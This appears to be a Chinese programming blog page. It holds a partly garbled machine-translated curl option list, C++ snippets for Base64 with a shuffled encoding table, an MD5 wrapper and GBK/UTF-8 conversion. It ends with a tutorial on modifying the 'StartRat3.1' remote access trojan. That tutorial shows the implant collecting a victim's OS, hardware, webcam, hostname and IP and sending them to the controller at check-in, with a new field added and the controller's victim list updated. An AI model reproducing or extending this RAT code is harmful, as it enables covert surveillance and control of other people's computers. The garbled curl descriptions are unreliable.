  --url <URL>     Spet URL to work with

  -u/--user <user[:password]>设置服务器的用户和密码

  -U/--proxy-user <user[:password]>设置代理用户名和密码

  -v/--verbose

  -V/--version 显示版本信息

  -w/--write-out [format]什么输出完成后

  -x/--proxy <host[:port]>在给定的端口上使用HTTP代理

  -X/--request <command>指定什么命令

  -y/--speed-time 放弃限速所要的时间。默认为30

  -Y/--speed-limit 停止传输速度的限制,速度时间'秒

  -z/--time-cond  传送时间设置

  -0/--http1.0  使用HTTP 1.0

  -1/--tlsv1  使用TLSv1(SSL)

  -2/--sslv2 使用SSLv2的(SSL)

  -3/--sslv3         使用的SSLv3(SSL)

  --3p-quote      like -Q for the source URL for 3rd party transfer

  --3p-url        使用url,进行第三方传送

  --3p-user       使用用户名和密码,进行第三方传送

  -4/--ipv4   使用IP4

  -6/--ipv6   使用IP6

  -#/--progress-bar 用进度条显示当前的传送状态

 

 

Base64非默认编码表加密测试

Li, Json阅读(53)

Base64加密下会有一张编码表。但如果这张编码表顺序被打乱了呢?

思路来源于FreeBuf:http://www.freebuf.com/articles/database/140773.html

代码基于C++语言编写,先放出来C++下的Base64加密

unsigned char * base64 = (unsigned char *)"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
CString base64encode(CString src, int srclen)
{
	int n, buflen, i, j;
	static unsigned char *dst;
	CString buf = src;
	buflen = n = srclen;
	dst = (unsigned char*)malloc(buflen / 3 * 4 + 3);
	memset(dst, 0, buflen / 3 * 4 + 3);
	for (i = 0, j = 0; i <= buflen - 3; i += 3, j += 4) {
		dst[j] = (buf[i] & 0xFC) >> 2;
		dst[j + 1] = ((buf[i] & 0x03) << 4) + ((buf[i + 1] & 0xF0) >> 4);
		dst[j + 2] = ((buf[i + 1] & 0x0F) << 2) + ((buf[i + 2] & 0xC0) >> 6);
		dst[j + 3] = buf[i + 2] & 0x3F;
	}
	if (n % 3 == 1) {
		dst[j] = (buf[i] & 0xFC) >> 2;
		dst[j + 1] = ((buf[i] & 0x03) << 4);
		dst[j + 2] = 64;
		dst[j + 3] = 64;
		j += 4;
	}
	else if (n % 3 == 2) {
		dst[j] = (buf[i] & 0xFC) >> 2;
		dst[j + 1] = ((buf[i] & 0x03) << 4) + ((buf[i + 1] & 0xF0) >> 4);
		dst[j + 2] = ((buf[i + 1] & 0x0F) << 2);
		dst[j + 3] = 64;
		j += 4;
	}
	for (i = 0; i<j; i++) /* map 6 bit value to base64 ASCII character */
		dst[i] = base64[(int)dst[i]];
	dst[j] = 0;
	return CString(dst);
}

调用方法如下:

printf("%s",base64encode(“hello”,5));

第一个参数是要编码的字符串,后面就是这个字符串长度。如此一来,编码过后为aGVsbG8=,现在要做的就是打乱编码。然后这个不是重点。另外。我们在打乱编码以后,也是可以正常编码的。上面是一段编码的,我们来进行一下解码。首先我们把编码字符串进行修改为:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

然后我们编码试试来解码(此时的hello被编码成了AgvSBg8=)

CString base64decode(CString inpt,int * len)
{
     int n,i,j,pad;
     unsigned char *p;
     static unsigned char *dst;
     unsigned char * src;
     *len=0;
     pad=0;
     n=inpt.GetLength();
     src=new unsigned char [n];
     for(i=0;i<n;i++)
         src[i]=inpt[i];
 
     while(n>0&&src[n-1]=='=') {
         src[n-1]=0;
         pad++;
         n--;
     }
     for(i=0;i<n;i++)   { /* map base64 ASCII character to 6 bit value */
         p=(unsigned char *)strchr((const char *)base64,(int)src[i]);
         if(!p)
              break;
         src[i]=p-(unsigned char *)base64;
     }
 
     dst=(unsigned char *)malloc(n*3/4+1);
     memset(dst,0,n*3/4+1);
     for(i=0,j=0;i<n;i+=4,j+=3) {
         dst[j]=(src[i]<<2) + ((src[i+1]&0x30)>>4);
         dst[j+1]=((src[i+1]&0x0F)<<4) + ((src[i+2]&0x3C)>>2);
         dst[j+2]=((src[i+2]&0x03)<<6) + src[i+3];
         *len+=3;
     }
     *len-=pad;
     return CString(dst);
}

解码即可还原成原来字符串hello

 

MD5加密函数封装类

Li, Json阅读(424)

默认是供给MFC使用,如若其他类型程序使用请包含头 并在工程文件里使用MFC库

如果在非MFC程序下使用,请注意在头文件里包含<afxwin.h> 否则会编译出错。

测试代码:

#include "stdafx.h"
#include "md5a.h"
#include <afxwin.h>
int main(int argc, char* argv[])
{
	char *cTemp = (char *)(LPCTSTR)"admin";
	char *cIdentity;
	CMd5A md5;
	cIdentity = md5.MDString(cTemp);
	CString	m_sEncrypt;
	m_sEncrypt = CString(cIdentity);
	printf("%s",m_sEncrypt);
	//AfxMessageBox(m_sEncrypt);
	getchar();
	return 0;
}

实例测试:

MD5加密封装类

这里再把他封装成一个函数来调用如下使用:

CString md5cp(CString str)
{
	char *cTemp = (char *)(LPCTSTR)str;
	char *cIdentity;
	CMd5A md5;
	cIdentity = md5.MDString(cTemp);
	CString	m_sEncrypt;
	m_sEncrypt = CString(cIdentity);
	return m_sEncrypt;
}
int main(int argc, char* argv[])
{
	printf("%s",md5cp("admin"));
	getchar();
	return 0;
}

最后所有文件已经打包上传到OsChina

http://git.oschina.net/modog/md5JiaMiFengZhuangLei

 

 

基于Unicode编码下的GBK转UTF8

Li, Json阅读(187)

基于Unicode编码下的GBK转UTF8,Ansi下不可用

void ConvertUtf8ToGBK(CString& strUtf8) {
    int len=MultiByteToWideChar(CP_UTF8, 0, (LPCTSTR)strUtf8, -1, NULL,0);
    unsigned short * wszGBK = new unsigned short[len+1];
    memset(wszGBK, 0, len * 2 + 2);
    MultiByteToWideChar(CP_UTF8, 0, (LPCTSTR)strUtf8, -1, wszGBK, len);

    len = WideCharToMultiByte(CP_ACP, 0, wszGBK, -1, NULL, 0, NULL, NULL); 
    char *szGBK=new char[len + 1];
    memset(szGBK, 0, len + 1);
    WideCharToMultiByte (CP_ACP, 0, wszGBK, -1, szGBK, len, NULL,NULL);

    strUtf8 = szGBK;
    delete[] szGBK;
    delete[] wszGBK;
}

 

基于Unicode编码下的GBK转UTF8

Li, Json阅读(150)

基于Unicode编码下的GBK转UTF8,Ansi下不可用

void ConvertGBKToUtf8(CString& strGBK) {
    int len=MultiByteToWideChar(CP_ACP, 0, (LPCTSTR)strGBK, -1, NULL,0);
    unsigned short * wszUtf8 = new unsigned short[len+1];
    memset(wszUtf8, 0, len * 2 + 2);
    MultiByteToWideChar(CP_ACP, 0, (LPCTSTR)strGBK, -1, wszUtf8, len);

    len = WideCharToMultiByte(CP_UTF8, 0, wszUtf8, -1, NULL, 0, NULL, NULL); 
    char *szUtf8=new char[len + 1];
    memset(szUtf8, 0, len + 1);
    WideCharToMultiByte (CP_UTF8, 0, wszUtf8, -1, szUtf8, len, NULL,NULL);

    strGBK = szUtf8;
    delete[] szUtf8;
    delete[] wszUtf8;
}

StartRat3.1修改笔记-添加上线信息[连载中]

饭不多吃话不多说阅读(163)

主要目标:添加上线时获取的数据
首要还是需要在服务端修改一下那个登录时候的一个数据包 区域代码定位如下:

Server\common\login.h

紧接着呢,是一个函数。SendLoginInfo

int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
{
    int nRet = SOCKET_ERROR;
    // 登录信息
    LOGININFO   LoginInfo;
    // 开始构造数据
    LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录
    LoginInfo.bIsWebCam = 0; //没有摄像头
    LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // 注意转换类型
    GetNtVersionNumbers(LoginInfo.OsVerInfoEx.dwMajorVersion,LoginInfo.OsVerInfoEx.dwMinorVersion,LoginInfo.OsVerInfoEx.dwBuildNumber);
    // 主机名
    char hostname[256];
    GetHostRemark(hostname, sizeof(hostname));
    // 连接的IP地址
    sockaddr_in  sockAddr;
    memset(&sockAddr, 0, sizeof(sockAddr));
    int nSockAddrLen = sizeof(sockAddr);
    getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
    memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR));
    memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName));
    // CPU
    LoginInfo.dwCPUClockMhz = CPUClockMhz();
    SYSTEM_INFO SysInfo;//用于获取CPU个数的
    GetSystemInfo(&SysInfo);
    LoginInfo.nCPUNumber = SysInfo.dwNumberOfProcessors;
    
    //内存大小
    MEMORYSTATUS    MemInfo; 
    MemInfo.dwLength=sizeof(MemInfo); 
    GlobalMemoryStatus(&MemInfo);
    LoginInfo.MemSize = MemInfo.dwTotalPhys/1024/1024;
    //摄像头
    LoginInfo.bIsWebCam = IsWebCam();
    // Speed
    LoginInfo.dwSpeed = dwSpeed;
    //QQ信息   20170205添加
   strcpy(LoginInfo.IsLoginQQ, "200748960");
    //上线版本
    strcpy(LoginInfo.szVersion, MyDecode(szVersion));
    // 上线分组
    char    *UpRow = NULL;
    char Group[256];
    char strWirn2[] = {'D','e','f','a','u','l','t','\0'};
    if(GetGroupName(Group, sizeof(Group))==0)
    {
        if(szGroup != NULL)
        {
            UpRow = (char *)(MyDecode(szGroup));
        }
        else
        {
            UpRow = strWirn2;
        }
    }
    else
    {
        UpRow=Group;
    }
    strcpy(LoginInfo.UpGroup,UpRow);
    nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
    return nRet;
}

注意下这里  我们修改一下这个上线的结构体

 选中Logininfo鼠标右键查看定义即可
typedef struct
{    
    BYTE            bToken;         // = 1
    OSVERSIONINFOEX OsVerInfoEx;    // 版本信息
    DWORD           dwCPUClockMhz;  // CPU频率
    int             nCPUNumber;     // CPU核数
    IN_ADDR         IPAddress;      // 存储32位的IPv4的地址数据结构
    char            HostName[50];   // 主机名
    bool            bIsWebCam;      // 是否有摄像头
    DWORD           dwSpeed;        // 网速
    DWORD           MemSize;        // 内存大小
    char            UpGroup[50];    // 上线分组
    char            szVersion[32];  // 上线版本
    char            IsLoginQQ[50]; //wo我们新添加
}LOGININFO;

我们紧接着先编译一下。这边dll已经好了.后续的一些工作我这里不剉赘述
现在我们在客户端上也要做一些修改
此时的界面如下

StartRat3.1修改笔记-添加上线信息

在界面上我做了一些小小的修改。不是很大,忽略即可!现在我们要针对列表框进行一下修改 添加一个新的栏目

LISTHEAD g_Column_Data[] = 
{
    {_T("ID"),              60  },//0
    {_T("WAN"),             102 },//1
    {_T("LAN"),             102 },//2
    {_T("计算机名/备注"),   80  },//3
    {_T("操作系统"),        80  },//4
    {_T("CPU信息"),         85  },//5
    {_T("内存大小"),        65  },//6
    {_T("速度"),            36  },//7
    {_T("视频"),            36  },//8
    {_T("版本"),            45  },//9
//  {_T("DDOS"),            50  },//10        //20170205干掉DDOS
    {_T("地理位置"),        130 },
    {_T("QQ"),      130 }
};

紧接着查找一下CClientVIwer这个类 里面有一个OnAddtoList函数
部分片段如下

// 内网IP
        m_pListCtrl->SetItemText(i, 2, inet_ntoa(LoginInfo->IPAddress));
        // 主机名
        m_pListCtrl->SetItemText(i, 3, LoginInfo->HostName);
        ////////////////////////////////////////////////////////////////////////////////////////

先简单修改一下吧
依葫芦 画瓢

 //20170205新增加接受QQ信息
        m_pListCtrl->SetItemText(i, 11, LoginInfo->IsLoginQQ);

然后看看效果